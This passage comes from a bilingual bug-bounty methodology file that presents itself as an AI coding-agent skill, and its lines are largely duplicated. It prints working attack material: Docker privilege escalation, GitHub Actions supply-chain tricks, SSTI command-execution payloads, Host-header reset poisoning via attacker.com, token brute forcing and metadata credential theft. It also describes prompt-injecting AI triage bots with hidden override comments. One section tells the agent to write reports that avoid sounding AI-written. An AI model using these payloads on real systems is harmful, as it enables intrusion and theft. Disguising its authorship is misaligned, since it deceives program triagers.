    pip install pytorch
    供应链攻击。
  5. Docker group 权限提升——
    docker run -v /:/host --privileged alpine chroot /host
    -> 获取宿主机 root 权限。添加 SSH key、修改 sudoers、安装持久化 backdoor。
排除信号:runner 注册时包含
--ephemeral
flag。对所有外部协作者都要求审批,而不只是首次贡献者。Runner 不在 Docker group 中。私有仓库(无外部 PR)。

6. Supply Chain (commit-sha / impostor-commit / ref-confusion)

6. 供应链(commit-sha / impostor-commit / ref-confusion)

Gate question: Does the workflow use mutable tags (
@v1
,
@v2
) for actions, and could those tags be replaced?
Verification depth:
  1. Tag mutability —
    git tag -f v1 <malicious-commit>
    replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
  2. Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's
    uses:
    . GitHub resolves it because the SHA exists in the shared object store.
  3. RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used
    MirrorNG/unity-runner
    → MirrorNG renamed to MirageNet →
    MirrorNG
    was claimable. Check:
    GET /users/<action-owner>
    returns 404? Takeover possible.
  4. Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via
    /proc/PID/maps
    +
    /proc/PID/mem
    , encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.
Kill signals: Full 40-char SHA pinning (
uses: actions/checkout@b4ffde65...
). Dependabot configured for
github-actions
ecosystem. Organization-level action allowlist.
关卡问题:workflow 是否使用可变 tag(
@v1
、
@v2
)引用 action,这些 tag 是否可能被替换?
验证深度:
  1. Tag 可变性——
    git tag -f v1 <malicious-commit>
    可替换 tag。98.4% 的仓库没有使用 SHA 固定(Legit Security 2024)。tj-actions 攻击:所有版本 tag(v1、v35、v45)均被替换为 memdump.py payload -> 23K 个仓库受影响 -> 218 次 Secret 泄露得到确认。
  2. Impostor commit——Fork network 与父仓库共享 object store。攻击者向 fork 推送 commit,然后在父仓库的
    uses:
    中引用该 commit SHA。GitHub 会进行解析,因为 SHA 已存在于共享 object store 中。
  3. RepoJacking——组织重命名会创建重定向,旧名称会变为可注册状态。攻击者注册旧组织名称,创建同名仓库并托管恶意 action。Shopify/unity-buy-sdk 使用过
    MirrorNG/unity-runner
    -> MirrorNG 重命名为 MirageNet ->
    MirrorNG
    随后可被认领。检查:
    GET /users/<action-owner>
    是否返回 404?是否可能被接管?
  4. Payload 隐蔽性——tj-actions memdump.py:通过
    /proc/PID/maps
    +
    /proc/PID/mem
    从 Runner.Worker 进程内存提取 secrets,使用 AES+RSA 加密,并将结果输出到 workflow log。Log 公开可见但已加密——只有攻击者持有密钥。
排除信号:使用完整的 40 字符 SHA 固定(
uses: actions/checkout@b4ffde65...
)。配置了面向
github-actions
生态的 Dependabot。存在组织级 action allowlist。

7. AI Agent Security

7. AI Agent 安全

Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
  1. Trigger + prompt source —
    issues: opened
    → AI triage bot reads
    github.event.issue.body
    . The body IS the prompt. HTML comments (
    <!-- ignore previous instructions -->
    ) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
  2. Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil.
    allowed_non_write_users: "*"
    means ANY user can trigger.
  3. Multi-phase chain — Clinejection: prompt injection → AI runs
    npm install
    from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.
Kill signals:
author_association == 'MEMBER' || 'OWNER'
check before AI processing.
--read-only --no-exec
flags on AI CLI.
permissions: {}
at workflow level.
关卡问题:workflow 中是否调用了 AI agent(Gemini CLI、Claude Code、Cline、Codex),且外部用户能够影响其 prompt?
验证深度:
  1. Trigger + Prompt 来源——
    issues: opened
    -> AI triage bot 读取
    github.event.issue.body
    。Body 就是 prompt。HTML 注释(
    <!-- ignore previous instructions -->
    )在 GitHub UI 中不可见,但会包含在 API 响应中,因此也会进入 AI prompt。
  2. 工具权限——如果 AI agent 拥有 Bash/Write/Edit 工具,且在环境中运行 secrets,那么提示词注入 = RCE + Secret 外泄。
    allowed_non_write_users: "*"
    意味着任何用户都能触发。
  3. 多阶段漏洞链——Clinejection:提示词注入 -> AI 从攻击者 commit 执行
    npm install
    -> Cacheract 在 npm 缓存中植入 payload -> nightly publish 恢复缓存 -> token 被窃取 -> 恶意版本被发布。单独的提示词注入发现看似严重性较低,但它是通往缓存投毒和供应链攻击的入口。
排除信号:AI 处理前检查
author_association == 'MEMBER' || 'OWNER'
。AI CLI 使用
--read-only --no-exec
flag。workflow 级设置
permissions: {}
。

8. Permissions / Secrets Hygiene

8. 权限 / Secret 卫生

Not standalone bugs — these are force multipliers. A
code-injection-medium
with
permissions: write-all
is Critical. The same injection with
permissions: { contents: read }
is limited.
Chaining checklist:
  • secrets: inherit
    on reusable workflow call → all org secrets accessible to called workflow
  • permissions:
    block missing → repo default (often write-all)
  • GITHUB_TOKEN
    with
    contents: write
    → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)
Key references:
这些不是独立漏洞——它们是影响倍增器。
code-injection-medium
配合
permissions: write-all
会成为 Critical。同样的注入配合
permissions: { contents: read }
则影响有限。
漏洞链检查清单:
  • 对 reusable workflow 的调用使用
    secrets: inherit
    -> 被调用 workflow 可访问所有组织 secrets
  • 缺少
    permissions:
    块 -> 使用仓库默认值(通常为 write-all)
  • GITHUB_TOKEN
    拥有
    contents: write
    -> CVE-2022-46258 模式:使用 Contents API 创建新 workflow 文件 -> 新 workflow 访问所有仓库/组织 secrets(原始 workflow 从未引用这些 secret)
主要参考:

SSTI -- Server-Side Template Injection

SSTI——服务端模板注入

Detection Payloads

检测 Payload

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)
{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

测试位置

  • Name/bio/description fields (profile pages)
  • Email templates (invoice name, username in confirmation email)
  • Custom error messages
  • PDF generators (invoice, report export)
  • URL path parameters
  • Search queries reflected in results
  • 姓名/简介/描述字段(个人资料页)
  • 邮件模板(发票名称、确认邮件中的 username)
  • 自定义错误消息
  • PDF 生成器(发票、报告导出)
  • URL 路径参数
  • 搜索结果中反射的查询

Jinja2 -> RCE (Python / Flask)

Jinja2 -> RCE(Python / Flask)

python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

Twig -> RCE(PHP / Symfony)

php
{{["id"]|filter("system")}}
php
{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

Freemarker -> RCE(Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

ERB -> RCE(Ruby on Rails)

ruby
<%= `id` %>
ruby
<%= `id` %>

Subdomain Takeover

子域名接管

Detection

检测

bash
undefined
bash
undefined

Check for dangling CNAMEs

Check for dangling CNAMEs

cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt

Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

Automated takeover detection

Automated takeover detection

nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefined
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefined

Quick-Kill Fingerprints

快速排除指纹

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify
"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

影响升级

  • Basic takeover: serve page under target.com subdomain -> Low/Medium
    • Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
    • OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
    • CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
  • 基础接管:在 target.com 子域名下提供页面 -> Low/Medium
    • Cookie:如果 target.com 设置了 domain=.target.com 的 Cookie -> 凭据窃取 -> High
    • OAuth 重定向:如果 sub.target.com 是已注册的 redirect_uri -> ATO 漏洞链 -> Critical
    • CSP 绕过:如果 sub.target.com 位于目标的 CSP 中 -> 任意位置的 XSS -> Critical

ATO -- Account Takeover (Complete Taxonomy)

ATO——账户接管(完整分类体系)

Path 1: Password Reset Poisoning (Host Header Injection)

路径 1:密码重置投毒(Host Header 注入)

bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com

Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

undefined
undefined

Path 2: Reset Token in Referrer Leak

路径 2:Referrer 泄露重置 Token

After clicking reset link, if page loads external resources -> token in Referer header to external domain.
点击重置链接后,如果页面加载外部资源 -> token 会通过 Referer Header 泄露给外部域名。

Path 3: Predictable / Weak Reset Tokens

路径 3:可预测/弱重置 Token

bash
undefined
bash
undefined

If token < 16 hex chars or numeric only -> brute-forceable

If token < 16 hex chars or numeric only -> brute-forceable

ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefined
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefined

Path 4: Token Not Expiring / Reuse

路径 4:Token 不过期或可重复使用

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
请求 token -> 等待 2 小时 -> 使用它 -> 仍然有效?请求 token #1 -> 请求 token #2 -> 使用 token #1 -> 仍然有效?

Path 5: Email Change Without Re-Authentication

路径 5:无需重新认证即可更改 Email

bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}
bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}

If no current_password required -> attacker changes email -> locks out victim

If no current_password required -> attacker changes email -> locks out victim

undefined
undefined

Path 6: OAuth Account Linking Abuse

路径 6:OAuth 账户关联滥用

Can you link an OAuth account from a different email to an existing account?
能否将不同 Email 的 OAuth 账户关联到现有账户?

Path 7: Session Fixation

路径 7:Session Fixation

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
GET /login -> 记录 Set-Cookie session=XYZ -> 登录 -> session ID 是否改变?如果没有,则为 fixation。

Cloud / Infra Misconfigs

云 / 基础设施配置错误

S3 / GCS / Azure Blob

S3 / GCS / Azure Blob

bash
undefined
bash
undefined

S3 public listing

S3 public listing

aws s3 ls s3://target-bucket-name --no-sign-request
aws s3 ls s3://target-bucket-name --no-sign-request

Try common names

Try common names

for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done
undefined
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done
undefined

EC2 Metadata (via SSRF)

EC2 元数据(通过 SSRF)

bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/
bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Returns role name, then:

Returns role name, then:

Returns AccessKeyId, SecretAccessKey, Token -> Critical

Returns AccessKeyId, SecretAccessKey, Token -> Critical

GCP (needs header Metadata-Flavor: Google):

GCP (needs header Metadata-Flavor: Google):

Azure (needs header Metadata: true):

Azure (needs header Metadata: true):

Firebase Open Rules

Firebase 开放规则

bash
curl -s "https://TARGET-APP.firebaseio.com/.json"
bash
curl -s "https://TARGET-APP.firebaseio.com/.json"

If data returned -> open read

If data returned -> open read

curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'

If success -> open write -> Critical

If success -> open write -> Critical

undefined
undefined

Exposed Admin Panels

暴露的管理面板

bash
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env
bash
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

Kubernetes / Docker

bash
undefined
bash
undefined

K8s API (unauthenticated):

K8s API (unauthenticated):

Docker API:

Docker API:

PHASE 4: VALIDATE

PHASE 4:VALIDATE(验证)

The 7-Question Gate (Run BEFORE Writing ANY Report)

7-Question Gate(撰写任何报告前执行)

All 7 must be YES. Any NO -> STOP.
7 个问题的答案必须全部为 YES。任何一个为 NO -> 停止。

Q1: Can I exploit this RIGHT NOW with a real PoC?

Q1:我能否此刻使用真实 PoC 利用此漏洞?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
写出准确的 HTTP 请求。如果无法提供有效请求 -> 放弃。

Q2: Does it affect a REAL user who took NO unusual actions?

Q2:它是否会影响一个未采取任何异常操作的真实用户?

No "the user would need to..." with 5 preconditions. Victim did nothing special.
不要使用“用户需要先……”并附带 5 个前置条件。受害者没有执行特殊操作。

Q3: Is the impact concrete (money, PII, ATO, RCE)?

Q3:影响是否具体(资金、PII、ATO、RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.
“技术上可行”不是影响。“我读取到了受害者的 SSN”才是影响。

Q4: Is this in scope per the program policy?

Q4:它是否在计划政策规定的范围内?

Check the exact domain/endpoint against the program's scope page.
对照计划的范围页面检查确切的域名/端点。

Q5: Did I check Hacktivity/changelog for duplicates?

Q5:我是否检查了 Hacktivity/changelog 以排除重复项?

Search the program's disclosed reports and recent changelog entries.
搜索该计划的公开报告和最近的 changelog 条目。

Q6: Is this NOT on the "always rejected" list?

Q6:它是否不在“始终拒绝”清单中?

Check the list below. If it's there and you can't chain it -> KILL IT.
检查下方清单。如果在清单中且无法组成漏洞链 -> 放弃。

Q7: Would a triager reading this say "yes, that's a real bug"?

Q7:审核人员读到后会不会说“没错,这是一个真实漏洞”?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
把自己想象成星期五下午 5 点已经疲惫的审核人员,阅读你的报告。它能通过吗?

4 Pre-Submission Gates

4 个提交前关卡

Gate 0: Reality Check (30 seconds)

Gate 0:真实性检查(30 秒)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

Gate 1:影响验证(2 分钟)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

Gate 2:去重检查(5 分钟)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

Gate 3:报告质量(10 分钟)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

CVSS 3.1 快速指南

FactorLow (0-3.9)Medium (4-6.9)High (7-8.9)Critical (9-10)
Attack VectorPhysicalLocalAdjacentNetwork
PrivilegesHighLowNoneNone
User InteractionRequiredRequiredNoneNone
ImpactPartialPartialHighHigh (all 3)
因子Low(0-3.9)Medium(4-6.9)High(7-8.9)Critical(9-10)
Attack VectorPhysicalLocalAdjacentNetwork
PrivilegesHighLowNoneNone
User InteractionRequiredRequiredNoneNone
ImpactPartialPartialHighHigh(全部 3 项)

Typical Scores by Bug Class

按漏洞类型划分的典型评分

BugTypical CVSSSeverity
IDOR (read PII)6.5Medium
IDOR (write/delete)7.5High
Auth bypass -> admin9.8Critical
Stored XSS5.4-8.8Med-High
SQLi (data exfil)8.6High
SSRF (cloud metadata)9.1Critical
Race condition (double spend)7.5High
GraphQL auth bypass8.7High
JWT none algorithm9.1Critical

漏洞典型 CVSS严重性
IDOR(读取 PII)6.5Medium
IDOR(写入/删除)7.5High
认证绕过 -> 管理员9.8Critical
存储型 XSS5.4-8.8Medium-High
SQLi(数据外泄)8.6High
SSRF(云元数据)9.1Critical
竞态条件(双倍消费)7.5High
GraphQL 认证绕过8.7High
JWT none algorithm9.1Critical

ALWAYS REJECTED -- Never Submit These

始终拒绝——永远不要提交这些发现

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
缺少 CSP/HSTS/安全 Header、缺少 SPF/DKIM/DMARC、单独的 GraphQL introspection、没有可利用 CVE 的 Banner/版本泄露、非敏感页面上的点击劫持、Tabnabbing、CSV 注入、没有凭据外泄 PoC 的 CORS 通配符、登出 CSRF、Self-XSS、单独的开放重定向、移动应用中的 OAuth client_secret、仅 DNS ping 的 SSRF、单独的 Host Header 注入、非关键表单没有速率限制、登出后未使 Session 失效、并发 Session、内部 IP 泄露、混合内容、SSL 弱密码套件、单独缺少 HttpOnly/Secure Cookie flag、失效的外部链接、Pre-account takeover(通常情况下)、密码字段的 autocomplete。
N/A 会损害你的有效率。Informational 属于中性。只提交能够通过 7-Question Gate 的发现。

Conditionally Valid With Chain

有条件成立的有效发现

These low findings become valid bugs when chained:
Low Finding+ Chain= Valid Bug
Open redirect+ OAuth code theftATO
Clickjacking+ sensitive action + PoCAccount action
CORS wildcard+ credentialed exfilData theft
CSRF+ sensitive state changeAccount takeover
No rate limit+ OTP brute forceATO
SSRF (DNS only)+ internal access proofInternal network access
Host header injection+ password reset poisoningATO
Self-XSS+ login CSRFStored XSS on victim

以下低严重性发现只有组成漏洞链后才会成为有效漏洞:
低严重性发现+ 漏洞链= 有效漏洞
开放重定向+ OAuth 授权码窃取ATO
点击劫持+ 敏感操作 + PoC账户操作
CORS 通配符+ 携带凭据的数据外泄数据窃取
CSRF+ 敏感状态变更账户接管
没有速率限制+ OTP 暴力破解ATO
SSRF(仅 DNS)+ 内部访问证明内部网络访问
Host Header 注入+ 密码重置投毒ATO
Self-XSS+ 登录 CSRF受害者身上的存储型 XSS

PHASE 5: REPORT

PHASE 5:REPORT(报告)

HackerOne Report Template

HackerOne 报告模板

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

Summary

Summary

[2-3 sentences: what it is, where it is, what attacker can do]
[2-3 sentences: what it is, where it is, what attacker can do]

Steps To Reproduce

Steps To Reproduce

  1. Log in as attacker (account A)
  2. Send request: [paste exact request]
  3. Observe: [exact response showing the bug]
  4. Confirm: [what the attacker gained]
  1. Log in as attacker (account A)
  2. Send request: [paste exact request]
  3. Observe: [exact response showing the bug]
  4. Confirm: [what the attacker gained]

Supporting Material

Supporting Material

[Screenshot / video of exploitation] [Burp Suite request/response]
[Screenshot / video of exploitation] [Burp Suite request/response]

Impact

Impact

An attacker can [specific action] resulting in [specific harm]. [Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
An attacker can [specific action] resulting in [specific harm]. [Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

Severity Assessment

Severity Assessment

CVSS 3.1 Score: X.X ([Severity label]) Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
undefined
CVSS 3.1 Score: X.X ([Severity label]) Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
undefined

Bugcrowd Report Template

Bugcrowd 报告模板

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]
Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

Human Tone Rules (Avoid AI-Sounding Writing)

人类化写作规则(避免 AI 风格表达)

  • Start sentences with the impact, not the vulnerability name
  • Write like you're explaining to a smart developer, not a textbook
  • Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
  • One concrete example beats three abstract sentences
  • No em dashes, no "comprehensive/leverage/seamless/ensure"
  • 以影响开头,而不是以漏洞名称开头
  • 像向聪明开发者解释一样写作,不要像教科书
  • 使用“我”和主动语态:“我发现……”而不是“发现了一个漏洞……”
  • 一个具体例子胜过三句抽象描述
  • 不使用破折号,不使用“全面/利用/无缝/确保”这类词

Report Title Formula

报告标题公式

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
Bad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
好的标题:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
不好的标题:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

Impact Statement Formula (First Paragraph)

影响陈述公式(第一段)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

The 60-Second Pre-Submit Checklist

60 秒提交前检查清单

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

严重性升级措辞

When payout is being downgraded, use these counters:
Program SaysYou Counter With
"Requires authentication""Attacker needs only a free account (no special role)"
"Limited impact""Affects [N] users / [PII type] / [$ amount]"
"Already known""Show me the report number -- I searched and found none"
"By design""Show me the documentation that states this is intended"
"Low CVSS score""CVSS doesn't account for business impact -- attacker can steal [X]"

当奖金被下调时,使用以下反驳方式:
计划方说法你的反驳
“需要认证”“攻击者只需要一个免费账户(无特殊角色)”
“影响有限”“影响 [N] 个用户 / [PII 类型] / [$ 金额]”
“已知问题”“请给我报告编号——我已搜索,没有找到”
“按设计如此”“请展示说明这是预期设计的文档”
“CVSS 分数低”“CVSS 未考虑业务影响——攻击者可以窃取 [X]”

RESOURCES

资源

Bug Bounty Platforms

漏洞赏金平台

Learning

学习

Wordlists

字典

Payload Databases

Payload 数据库



INSTALLATION (Claude Code Skill)

安装(Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:
bash
undefined
要将此文件作为 Claude Code skill 使用,请将其复制到 skills 目录:
bash
undefined

Option A: Clone the repo and link the skill

Option A: Clone the repo and link the skill

git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

Option B: Direct copy

Option B: Direct copy

mkdir -p ~/.claude/skills/bug-bounty curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.

---
mkdir -p ~/.claude/skills/bug-bounty curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md

之后,在 Claude Code 中,当你询问 bug bounty、recon 或漏洞挖掘相关内容时,该 skill 会自动加载。

---

Related Skills & Chains

相关 Skills 与漏洞链

  • bug-bounty
    — When the user wants general bug-bounty guidance rather than tool location. Workflow primitive:
    bug-bounty
    is the orchestrator and routes to topic-matched hunt-* skills; this skill (
    bb-local-toolkit
    ) answers "where is the tool / wordlist / clone on disk for that hunt?"
  • web2-recon
    — When recon needs to be run via specific tool invocations. Workflow primitive: this skill names the local install path (e.g.,
    ~/tools/SecretFinder/.venv/bin/activate
    );
    web2-recon
    is the pipeline that strings those tool paths together.
  • offensive-osint
    — When the operational arsenal (probes, regexes, wordlists) needs a tool to execute it. Workflow primitive:
    offensive-osint
    provides the regex / probe; this skill provides the local trufflehog / jhaddix / SecLists clone that runs it.
  • security-arsenal
    — When the payload library needs a tool to fire payloads at scale. Workflow primitive:
    security-arsenal
    is the payload syntax; this skill names the ffuf / dalfox / ghauri install that delivers them.
  • bb-methodology
    — When Phase 1 (Recon) or Phase 3 (Discovery) needs tooling routed. Workflow primitive:
    bb-methodology
    's "Tool Routing by Phase" table is general; this skill resolves the abstract tool names to concrete local paths.
  • bug-bounty
    ——当用户需要常规漏洞赏金指导,而不是工具位置时使用。工作流原语:
    bug-bounty
    是编排器,并将请求路由到与主题匹配的 hunt-* skill;此 skill(
    bb-local-toolkit
    )用于回答“某次挖掘所需的工具、字典或克隆仓库在磁盘上的什么位置?”
  • web2-recon
    ——当侦察需要通过特定工具调用执行时使用。工作流原语:此 skill 命名本地安装路径(例如
    ~/tools/SecretFinder/.venv/bin/activate
    );
    web2-recon
    是将这些工具路径串联起来的流水线。
  • offensive-osint
    ——当操作工具库(探针、正则表达式、字典)需要某个工具来执行时使用。工作流原语:
    offensive-osint
